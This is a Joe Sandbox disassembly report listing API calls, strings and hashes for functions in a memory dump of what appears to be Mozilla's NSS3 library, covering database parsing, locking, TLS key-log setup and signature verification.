Part of subcall function 6CC36910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CC36957
Part of subcall function 6CC36910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CC36972
Part of subcall function 6CC36910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CC36983
Part of subcall function 6CC36910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CC369AA
Part of subcall function 6CC36910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CC369BE
Part of subcall function 6CC36910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CC369D2
Part of subcall function 6CC36910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CC369DF
Part of subcall function 6CC36910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CC36A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CC36D8C
free.MOZGLUE(00000000), ref: 6CC36DC5
free.MOZGLUE(?), ref: 6CC36DD6
free.MOZGLUE(?), ref: 6CC36DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CC36E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC36E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC36E72
free.MOZGLUE(?), ref: 6CC36EA7
free.MOZGLUE(?), ref: 6CC36EC4
free.MOZGLUE(?), ref: 6CC36ED5
free.MOZGLUE(00000000), ref: 6CC36EE3
free.MOZGLUE(?), ref: 6CC36EF4
free.MOZGLUE(?), ref: 6CC36F08
free.MOZGLUE(00000000), ref: 6CC36F35
free.MOZGLUE(?), ref: 6CC36F44
free.MOZGLUE(?), ref: 6CC36F5B
free.MOZGLUE(00000000), ref: 6CC36F65

Part of subcall function 6CC36C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CC3781D,00000000,6CC2BE2C,?,6CC36B1D,?,?,?,?,00000000,00000000,6CC3781D), ref: 6CC36C40
Part of subcall function 6CC36C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CC3781D,?,6CC2BE2C,?), ref: 6CC36C58
Part of subcall function 6CC36C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CC3781D), ref: 6CC36C6F
Part of subcall function 6CC36C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CC36C84
Part of subcall function 6CC36C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CC36C96
Part of subcall function 6CC36C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CC36CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC36F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC36FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CC36FF4

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: ff1711e315d118fddc11002971bdc6c86b01d05f8aca47f54fc18ebed179352b
Instruction ID: cfbeb1156c0cab1ad0d7715fbef26ca98204f843b5c97c9a61e7397ddedb795c
Opcode Fuzzy Hash: ff1711e315d118fddc11002971bdc6c86b01d05f8aca47f54fc18ebed179352b
Instruction Fuzzy Hash: FCB162B1E016299FEF01DFA5E885B9E7BB8BF49348F141024E919E7640F731E918CB61

Function 6CC34C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC34C4C
EnterCriticalSection.KERNEL32(?), ref: 6CC34C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC34CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CC34CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC34CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC34D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC34D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC34DB7

Part of subcall function 6CC9DD70: TlsGetValue.KERNEL32 ref: 6CC9DD8C
Part of subcall function 6CC9DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC9DDB4

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

TlsGetValue.KERNEL32 ref: 6CC34DD7
EnterCriticalSection.KERNEL32(?), ref: 6CC34DEC
PR_Unlock.NSS3(?), ref: 6CC34E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CC34E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC34E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CC34E71
free.MOZGLUE(00000000), ref: 6CC34E7A
PR_Unlock.NSS3(?), ref: 6CC34EA2
TlsGetValue.KERNEL32 ref: 6CC34EC1
EnterCriticalSection.KERNEL32(?), ref: 6CC34ED6
PR_Unlock.NSS3(?), ref: 6CC34F01
free.MOZGLUE(00000000), ref: 6CC34F2A

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: a90cfe49c02554e123ca71a2f810732d0aa96a3c0aa2338544e73ba8875f24b4
Instruction ID: 59d8fd0363c6cd2510e09c188bf39efc75c8bd34f728c5320996857b9de6e07a
Opcode Fuzzy Hash: a90cfe49c02554e123ca71a2f810732d0aa96a3c0aa2338544e73ba8875f24b4
Instruction Fuzzy Hash: E6B13671E002159FEB00EF68E840BAA7BB8BF49318F545164EE0997B41F732E964CBD1

Function 6CC86E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CC86BF7), ref: 6CC86EB6

Part of subcall function 6CBE1240: TlsGetValue.KERNEL32(00000040,?,6CBE116C,NSPR_LOG_MODULES), ref: 6CBE1267
Part of subcall function 6CBE1240: EnterCriticalSection.KERNEL32(?,?,?,6CBE116C,NSPR_LOG_MODULES), ref: 6CBE127C
Part of subcall function 6CBE1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CBE116C,NSPR_LOG_MODULES), ref: 6CBE1291
Part of subcall function 6CBE1240: PR_Unlock.NSS3(?,?,?,?,6CBE116C,NSPR_LOG_MODULES), ref: 6CBE12A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CD2FC0A,6CC86BF7), ref: 6CC86ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CC86EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CC86EFC
PR_NewLock.NSS3 ref: 6CC86F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC86F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CC86BF7), ref: 6CC86F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CC86BF7), ref: 6CC86F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CC86BF7), ref: 6CC86FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CC86BF7), ref: 6CC86FFD

Strings

# SSL/TLS secrets log file, generated by NSS, xrefs: 6CC86EF7
SSLFORCELOCKS, xrefs: 6CC86F2B
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CC86F4F
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CC86FDB
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CC86FF8
SSLKEYLOGFILE, xrefs: 6CC86EB1

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 50105ad4006960fa2302d85e1c0c873afa165fae2c7e604bb1edee14beea9f8c
Instruction ID: 97ea9782a621675a93580c88dc80f33c110fcaa09d6752d63efb07806bbe2be5
Opcode Fuzzy Hash: 50105ad4006960fa2302d85e1c0c873afa165fae2c7e604bb1edee14beea9f8c
Instruction Fuzzy Hash: FBA1F9B2B6799186F610463DCC0075A3AA5B78336EF984366FA31C7EE5FB35A4409342

Function 6CBFC4B0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 247COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBFC4D5

Part of subcall function 6CC4BE30: SECOID_FindOID_Util.NSS3(6CC0311B,00000000,?,6CC0311B,?), ref: 6CC4BE44

NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6CBFC516
NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6CBFC530
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBFC54E
NSS_GetAlgorithmPolicy.NSS3(00000000,00000000), ref: 6CBFC5CB
VFY_VerifyDataWithAlgorithmID.NSS3(00000002,?,?,?,?,?,?), ref: 6CBFC712
NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6CBFC725
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CBFC742
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CBFC751
PL_FinishArenaPool.NSS3(?), ref: 6CBFC77A
NSS_GetAlgorithmPolicy.NSS3(?,00000000), ref: 6CBFC78F
NSS_GetAlgorithmPolicy.NSS3(?,00000000), ref: 6CBFC7A9

Strings

security, xrefs: 6CBFC63F

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Algorithm$Policy$Util$ErrorTag_$ArenaDataFindFinishPoolVerifyWith
String ID: security
API String ID: 1085474831-3315324353
Opcode ID: bb817fb30a69a50ecf24242d3677a48ea32e8c752ead1b8bf22b5983152e118f
Instruction ID: 1e6d2067532ffa91e585b336fb66c4291874b125c1092cf5c624fe60fd609c3c
Opcode Fuzzy Hash: bb817fb30a69a50ecf24242d3677a48ea32e8c752ead1b8bf22b5983152e118f
Instruction Fuzzy Hash: 3B8128B1D04188AAEF20EA54CC81BEE7764EF1130CF644125E925A7B51F731D99ECB93

Function 6CC64500 Relevance: 28.8, APIs: 19, Instructions: 319threadCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(6CC63803,?,6CC63817,00000000), ref: 6CC6450E

Part of subcall function 6CC507B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CBF8298,?,?,?,6CBEFCE5,?), ref: 6CC507BF
Part of subcall function 6CC507B0: PL_HashTableLookup.NSS3(?,?), ref: 6CC507E6
Part of subcall function 6CC507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC5081B
Part of subcall function 6CC507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC50825

PR_SetError.NSS3(FFFFE005,00000000,?,6CC63817,00000000), ref: 6CC64550
SECOID_FindOIDByTag_Util.NSS3(00000004,00000000), ref: 6CC645B5
SECOID_FindOIDByTag_Util.NSS3(000000BF,00000000), ref: 6CC64709
SECOID_GetAlgorithmTag_Util.NSS3(?,00000000), ref: 6CC64727
SECOID_GetAlgorithmTag_Util.NSS3(?,?,00000000), ref: 6CC6473B
PORT_NewArena_Util.NSS3(00000400,?,?,?,?,?,?,?,00000000), ref: 6CC64801
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CD22DA0,?,?,?,?,?,?,?,?,00000000), ref: 6CC6482E
PR_GetCurrentThread.NSS3 ref: 6CC648F3
PR_SetError.NSS3(FFFFE02F,00000000), ref: 6CC64923
PR_SetError.NSS3(FFFFE02F,00000000), ref: 6CC64937
SECKEY_DestroyPublicKey.NSS3(?,?,?,00000000), ref: 6CC6494E
PR_SetError.NSS3(FFFFE02F,00000000,?,?,?,00000000), ref: 6CC64963
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC64984
VFY_VerifyDataWithAlgorithmID.NSS3(?,?,?,6CC621C2,?,?,?), ref: 6CC6499C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC649B5
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,00000000), ref: 6CC649C5
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6CC649DC
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC649E9

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Error$Arena_Tag_$AlgorithmFindFree$DestroyHashLookupPublicTable$ConstCurrentDataEncodeItem_ThreadVerifyWith
String ID:
API String ID: 3698863438-0
Opcode ID: 777396504930bc6d4733c7a28774faa0fc6fef6c7ed8d9b8cf803fea22bfc3c9
Instruction ID: 5f626b33f77a388a2674149b57fd87887d09aedf0b8cb5d2d7ebdb889ca53026
Opcode Fuzzy Hash: 777396504930bc6d4733c7a28774faa0fc6fef6c7ed8d9b8cf803fea22bfc3c9
Instruction Fuzzy Hash: 0FA1F3B5E412049BEF00CA6BDEE0BAE7679AF4531CF244129E906A7F81F731D854C791

Function 6CBE07A0 Relevance: 28.7, APIs: 19, Instructions: 156COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB
InitializeCriticalSectionAndSpinCount.KERNEL32(00000040,000005DC,?,6CB7204A), ref: 6CBE091F
GetLastError.KERNEL32(?,6CB7204A), ref: 6CBE092A
free.MOZGLUE(00000000,?,?,6CB7204A), ref: 6CBE093A
DeleteCriticalSection.KERNEL32(00000040,?,?,?,6CB7204A), ref: 6CBE0946
free.MOZGLUE(00000000,?,?,?,6CB7204A), ref: 6CBE094D
free.MOZGLUE(?,?,?,6CB7204A), ref: 6CBE095E
DeleteCriticalSection.KERNEL32(00000040,?,?,?,6CB7204A), ref: 6CBE096B
free.MOZGLUE(00000000,?,?,?,6CB7204A), ref: 6CBE0972
EnterCriticalSection.KERNEL32(?,?,?,6CB7204A), ref: 6CBE098D
_PR_MD_UNLOCK.NSS3(?), ref: 6CBE09D0

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$CriticalSectionfree$Deletecalloc$CountEnterErrorInitializeLastSpin
String ID:
API String ID: 4248343880-0
Opcode ID: abebd07284483a6eb16dc7b699531c81e8a55b04c0fa8ee101e7c9dcbfdfe536
Instruction ID: cdcab99eb60ddb7efcdf5ec85e0bf013052e1ed29625673a236ff4f871476d1f
Opcode Fuzzy Hash: abebd07284483a6eb16dc7b699531c81e8a55b04c0fa8ee101e7c9dcbfdfe536
Instruction Fuzzy Hash: EB51D0756003809BFB10AF39DC48B4B7BBCFF4A788F044929E64A86A41DF31D409CBA1

Function 6CC828C0 Relevance: 27.2, APIs: 18, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 6CC85B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC85B56

TlsGetValue.KERNEL32 ref: 6CC8290A
EnterCriticalSection.KERNEL32(00000001), ref: 6CC8291E
TlsGetValue.KERNEL32 ref: 6CC82937
EnterCriticalSection.KERNEL32(00000001), ref: 6CC8294B
PR_EnterMonitor.NSS3(?), ref: 6CC82966
PR_EnterMonitor.NSS3(?), ref: 6CC829AC
PR_ExitMonitor.NSS3(?), ref: 6CC829D1
PR_EnterMonitor.NSS3(?), ref: 6CC829F0
PR_EnterMonitor.NSS3(?), ref: 6CC82A15
PR_EnterMonitor.NSS3(?), ref: 6CC82A37
PR_ExitMonitor.NSS3(?), ref: 6CC82A61
PR_ExitMonitor.NSS3(?), ref: 6CC82A78
PR_ExitMonitor.NSS3(?), ref: 6CC82A8F
PR_ExitMonitor.NSS3(?), ref: 6CC82AA6

Part of subcall function 6CCB9440: TlsGetValue.KERNEL32 ref: 6CCB945B
Part of subcall function 6CCB9440: TlsGetValue.KERNEL32 ref: 6CCB9479
Part of subcall function 6CCB9440: EnterCriticalSection.KERNEL32 ref: 6CCB9495
Part of subcall function 6CCB9440: TlsGetValue.KERNEL32 ref: 6CCB94E4
Part of subcall function 6CCB9440: TlsGetValue.KERNEL32 ref: 6CCB9532
Part of subcall function 6CCB9440: LeaveCriticalSection.KERNEL32 ref: 6CCB955D

PK11_HPKE_DestroyContext.NSS3(?,00000001), ref: 6CC82AF9
free.MOZGLUE(?), ref: 6CC82B16
PR_Unlock.NSS3(?), ref: 6CC82B6D
PR_Unlock.NSS3(?), ref: 6CC82B80

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$Exit$CriticalSection$Unlock$ContextDestroyIdentitiesK11_LayerLeavefree
String ID:
API String ID: 2841089016-0
Opcode ID: b659168881ecedfb12f436915b13c06df1a2adb46b6b84828d86b556df024b8d
Instruction ID: 0bf00410781b8e120c0d1d7594a545a36dd099b5e865160301a6f0beb2a547b4
Opcode Fuzzy Hash: b659168881ecedfb12f436915b13c06df1a2adb46b6b84828d86b556df024b8d
Instruction Fuzzy Hash: 2681A0B1A017005BEB209F39EC59A97BBF9AF1530CF044828D95A87B11FB36E519CB91

Function 6CC48E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6CC48E01,00000000,6CC49060,6CD50B64), ref: 6CC48E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6CC48E01,00000000,6CC49060,6CD50B64), ref: 6CC48E9E
PORT_ArenaAlloc_Util.NSS3(6CD50B64,00000001,?,?,?,?,6CC48E01,00000000,6CC49060,6CD50B64), ref: 6CC48EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6CC48E01,00000000,6CC49060,6CD50B64), ref: 6CC48EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6CC48E01,00000000,6CC49060,6CD50B64), ref: 6CC48ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6CC48E01,00000000,6CC49060,6CD50B64), ref: 6CC48EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6CC48E01), ref: 6CC48EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CD50B64,6CD50B64), ref: 6CC48F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6CC48F3F

Part of subcall function 6CC4A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6CC4A421,00000000,00000000,6CC49826), ref: 6CC4A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC4904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6CC48E76

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 8b9855d45b652fb85cc33e14ebf6f7dc46a05d1cc689ab6dd30778398d92d28a
Instruction ID: f3424ce82590faa45bdbaa9125062b74356cf412bdd2b1bef6611195cc9f068c
Opcode Fuzzy Hash: 8b9855d45b652fb85cc33e14ebf6f7dc46a05d1cc689ab6dd30778398d92d28a
Instruction Fuzzy Hash: EC61AFB5E001159BDB10CF55CD80AABB7B9FF88369F14C528DC18A7B10E731A916CBE0

Function 6CBF8E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBF8E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CBF8E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CBF8EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CD218D0,?), ref: 6CBF8F03
PR_CallOnce.NSS3(6CD52AA4,6CC512D0), ref: 6CBF8F19
PL_FreeArenaPool.NSS3(?), ref: 6CBF8F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CBF8F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CBF8F65
PL_FinishArenaPool.NSS3(?), ref: 6CBF8FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CBF8FFE
PR_CallOnce.NSS3(6CD52AA4,6CC512D0), ref: 6CBF9012
PL_FreeArenaPool.NSS3(?), ref: 6CBF9024
PL_FinishArenaPool.NSS3(?), ref: 6CBF902C
